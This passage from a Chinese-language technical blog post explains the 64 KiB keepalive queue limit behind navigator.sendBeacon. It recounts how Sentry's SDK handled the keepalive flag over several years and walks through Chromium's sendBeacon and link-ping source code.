而且這個限制其實並不是限制單一請求，而是背後有個 queue，這個 queue 只要超過 65536 bytes 就不接受新的東西了。

舉例來說，當我們連續送出 8 個 10000 字的請求時：

<script>  for(let i=1; i<=8; i++) {    navigator.sendBeacon("https://httpstat.us/200?log"+i, 'A'.repeat(10000));  }</script>

你會發現最後兩個一直處於 pending 狀態，送不出去：

這是因為前六次 sendBeacon 已經把 queue 填到 60000 了，因此最後兩次都塞不下，所以無法接受新的請求，就會永遠處於 pending，就會 queue 空了也不會主動再塞進去。

不過嚴格來講這其實也不是 sendBeacon 的問題，而是 fetch 加上 keepalive 會有的限制。事實上，navigator.sendBeacon 的底層就是 fetch 加上 keepalive。

navigator.sendBeacon 的規格與 Sentry 的小故事

在規格的段落 3.2 Processing Model 的第六步中，就有提到剛剛講的 queue：

如果判斷塞不進去 queue 的話，sendBeacon 會回傳 false。

其實這就是 payload 碰到問題時的解法，在呼叫 sendBeacon 之後判斷回傳值是否為 false，是的話就進行處理，看是要 fallback 成一般的 fetch，還是自己再做個重試的機制。

而第七步則是 sendBeacon 主要做的事情，新建一個 keepalive 的請求然後送出：

而 fetch + keepalive 的 payload 限制就是 64 KiB，這是有寫在 spec 裡的：

專門做 error tracking 的服務 Sentry 以前其實就碰過這問題，在 2018 年時有人發現 Sentry 在 fetch 時會預設打開 keepalive，導致有些超過 65536 bytes 的請求送不出去，因此把這個 flag 給拿掉了：

來源：When fetch is used keepalive is the default, and Chrome only allows a POST body <= 65536 bytes in that scenario #1464，拿掉的 PR：ref: Remove keepalive:true as a default and document payload size #1496

兩年後的 2020 年，有人發現了 keepalive 的規格以及正確用法：Fetch KeepAlive #2547，提議在 payload 許可之下用 keepalive，超過才不用，而不是像當時全部都不用。

但當時並沒有任何動作，是又過了兩年，在 2022 年時，有人發現 Chrome 在 navigation 的時候會取消所有請求，因此有些請求送不出去，才想到要利用 keepalive 來解決。

因此在 2022 年 9 月時，才又把它加了回去，並且留下精闢的註解：

feat(browser): Use fetch keepalive flag #5697

// Outgoing requests are usually cancelled when navigating to a different page, causing a "TypeError: Failed to// fetch" error and sending a "network_error" client-outcome - in Chrome, the request status shows "(cancelled)".// The `keepalive` flag keeps outgoing requests alive, even when switching pages. We want this since we're// frequently sending events right before the user is switching pages (eg. whenfinishing navigation transactions).// Gotchas:// - `keepalive` isn't supported by Firefox// - As per spec (https://fetch.spec.whatwg.org/#http-network-or-cache-fetch), a request with `keepalive: true`//   and a content length of > 64 kibibytes returns a network error. We will therefore only activate the flag when//   we're below that limit.keepalive: request.body.length <= 65536,

中文機翻：

當切換到不同頁面時，未完成的請求通常會被取消，進而導致「TypeError: Failed to fetch」錯誤，並出現「network_error」。在 Chrome 中，請求狀態會顯示「(cancelled)」。
keepalive 標誌可以讓未完成的請求在頁面切換時繼續保持活動狀態。由於我們經常在使用者切換頁面前傳送事件，因此需要這個功能。

需要注意：

1. Firefox 不支援 keepalive。
2. 根據規範，如果請求設定了 keepalive: true 並且內容長度超過 64 KiB，將會返回網路錯誤。因此，我們只會在請求內容長度低於該限制時啟用此標誌。

但故事還沒完，就像我剛才提到的，這個 65536 的限制並不只是單個請求，而是有個 queue，因此這樣做是不夠的。半年之後，Sentry 也注意到了這個問題，加上了計算 queue size 的邏輯，讓整個機制變得更加穩健：fix(browser): Ensure keepalive flag is correctly set for parallel requests #7553

如果之後有想要實作類似的東西，可以直接參考上面 Sentry 的 PR。

sendBeacon 的實作

Chromium 的 sendBeacon 實作

最後我們來看一下 sendBeacon 底層的實作，先從 Chromium 開始，我以寫文章時最新的穩定版 131.0.6778.205 為例，相關程式碼在：third_party/blink/renderer/modules/beacon/navigator_beacon.cc

我擷取其中一小段核心程式碼：

bool NavigatorBeacon::SendBeaconImpl(    ScriptState* script_state,    const String& url_string,    const V8UnionReadableStreamOrXMLHttpRequestBodyInit* data,    ExceptionState& exception_state) {  ExecutionContext* execution_context = ExecutionContext::From(script_state);  KURL url = execution_context->CompleteURL(url_string);  if (!CanSendBeacon(execution_context, url, exception_state)) {    return false;  }  bool allowed;  LocalFrame* frame = GetSupplementable()->DomWindow()->GetFrame();  if (data) {    switch (data->GetContentType()) {      // [...]      case V8UnionReadableStreamOrXMLHttpRequestBodyInit::ContentType::          kUSVString:        UseCounter::Count(execution_context,                          WebFeature::kSendBeaconWithUSVString);        allowed = PingLoader::SendBeacon(*script_state, frame, url,                                         data->GetAsUSVString());        break;    }  } else {    allowed = PingLoader::SendBeacon(*script_state, frame, url, String());  }  if (!allowed) {    UseCounter::Count(execution_context, WebFeature::kSendBeaconQuotaExceeded);  }  return allowed;}

開頭的 CanSendBeacon 基本上就是檢查 URL 是否合法而已，合法的話繼續往下走，會判斷要送出的 payload 的 content type，而實際送出是在 PingLoader::SendBeacon 這個方法裡面。

除此之外可以在程式碼裡面看到 UseCounter::Count，這個是 Chromium 用來追蹤某些功能的使用頻率時會用到的。

PingLoader::SendBeacon 的實作在 third_party/blink/renderer/core/loader/ping_loader.cc：

bool SendBeaconCommon(const ScriptState& state,                      LocalFrame* frame,                      const KURL& url,                      const BeaconData& beacon) {  if (!frame->DomWindow()           ->GetContentSecurityPolicyForWorld(&state.World())           ->AllowConnectToSource(url, url, RedirectStatus::kNoRedirect)) {    // We're simulating a network failure here, so we return 'true'.    return true;  }  ResourceRequest request(url);  request.SetHttpMethod(http_names::kPOST);  request.SetKeepalive(true);  request.SetRequestContext(mojom::blink::RequestContextType::BEACON);  beacon.Serialize(request);  FetchParameters params(std::move(request),                         ResourceLoaderOptions(&state.World()));  // The spec says:  //  - If mimeType is not null:  //   - If mimeType value is a CORS-safelisted request-header value for the  //     Content-Type header, set corsMode to "no-cors".  // As we don't support requests with non CORS-safelisted Content-Type, the  // mode should always be "no-cors".  params.MutableOptions().initiator_info.name =      fetch_initiator_type_names::kBeacon;  frame->Client()->DidDispatchPingLoader(url);  FetchUtils::LogFetchKeepAliveRequestMetric(      params.GetResourceRequest().GetRequestContext(),      FetchUtils::FetchKeepAliveRequestState::kTotal);  Resource* resource =      RawResource::Fetch(params, frame->DomWindow()->Fetcher(), nullptr);  return resource->GetStatus() != ResourceStatus::kLoadError;}

開頭先檢查是否違反 CSP，如果沒有違反，就送出一個 keepalive 的請求，然後回傳是否成功。

值得注意的是在同個檔案中，也有另一個功能做了類似的事情，叫做 PingLoader::SendLinkAuditPing。在 <a> 標籤上有個屬性叫做 ping，當使用者點了連結，瀏覽器就會發送一個請求到 ping 所指定的位置：

<a  href="https://example.com"  ping="https://blog.huli.tw"  >click me</a>

這背後一樣是用 keepalive 的 fetch 來實作的：

void PingLoader::SendLinkAuditPing(LocalFrame* frame,                                   const KURL& ping_url,                                   const KURL& destination_url) {  if (!ping_url.ProtocolIsInHTTPFamily())    return;  ResourceRequest request(ping_url);  request.SetHttpMethod(http_names::kPOST);  request.SetHTTPContentType(AtomicString("text/ping"));  request.SetHttpBody(EncodedFormData::Create(base::span_from_cstring("PING")));  request.SetHttpHeaderField(http_names::kCacheControl,                             AtomicString("max-age=0"));  request.SetHttpHeaderField(http_names::kPingTo,                             AtomicString(destination_url.GetString()));  scoped_refptr<const SecurityOrigin> ping_origin =      SecurityOrigin::Create(ping_url);  if (ProtocolIs(frame->DomWindow()->Url().GetString(), "http") ||      frame->DomWindow()->GetSecurityOrigin()->CanAccess(ping_origin.get())) {    request.SetHttpHeaderField(        http_names::kPingFrom,        AtomicString(frame->DomWindow()->Url().GetString()));  }  request.SetKeepalive(true);  request.SetReferrerString(Referrer::NoReferrer());  request.SetReferrerPolicy(network::mojom::ReferrerPolicy::kNever);  request.SetRequestContext(mojom::blink::RequestContextType::PING);  FetchParameters params(      std::move(request),      ResourceLoaderOptions(frame->DomWindow()->GetCurrentWorld()));  params.MutableOptions().initiator_info.name =      fetch_initiator_type_names::kPing;  frame->Client()->DidDispatchPingLoader(ping_url);  FetchUtils::LogFetchKeepAliveRequestMetric(      params.GetResourceRequest().GetRequestContext(),      FetchUtils::FetchKeepAliveRequestState::kTotal);  RawResource::Fetch(params, frame->DomWindow()->Fetcher(), nullptr);}